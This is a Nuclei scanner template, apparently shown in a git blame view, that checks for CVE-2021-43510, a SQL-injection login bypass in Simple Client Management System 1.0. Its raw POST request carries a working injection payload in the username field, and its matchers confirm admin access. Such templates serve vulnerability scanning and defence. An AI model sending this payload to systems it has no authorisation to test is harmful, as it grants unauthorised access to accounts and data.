nuclei-templates/cves/2021/CVE-2021-43510.yaml

46 lines
1.4 KiB
YAML
Raw Normal View History

2022-10-06 09:04:17 +00:00
id: CVE-2021-43510
info:
name: Simple Client Management System 1.0 - SQL Injection
author: edoardottt
severity: critical
description: |
SQL Injection vulnerability exists in Sourcecodester Simple Client Management System 1.0 via the username field in login.php.
reference:
- https://github.com/r4hn1/Simple-Client-Management-System-Exploit/blob/main/CVE-2021-43510
2022-11-15 11:37:47 +00:00
- https://www.sourcecodester.com/php/15027/simple-client-management-system-php-source-code.html
2022-10-06 09:04:17 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-43510
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
2022-10-06 09:04:17 +00:00
cve-id: CVE-2021-43510
cwe-id: CWE-89
2022-11-15 11:37:47 +00:00
metadata:
verified: "true"
2022-11-16 08:16:13 +00:00
tags: cve,cve2021,simpleclientmanagement,sqli,auth-bypass
2022-10-06 09:04:17 +00:00
requests:
- raw:
- |
2022-11-15 11:37:47 +00:00
POST /classes/Login.php?f=login HTTP/1.1
2022-10-06 09:04:17 +00:00
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username=admin'+or+'1'%3d'1'--+-&password=as
2022-11-15 11:37:47 +00:00
- |
GET / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2022-10-06 09:04:17 +00:00
2022-11-15 11:37:47 +00:00
req-condition: true
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'contains(all_headers_1, "text/html")'
- 'status_code_1 == 200'
- 'contains(body_1, "{\"status\":\"success\"}")'
- 'contains(body_2, "Welcome to Simple Client")'
condition: and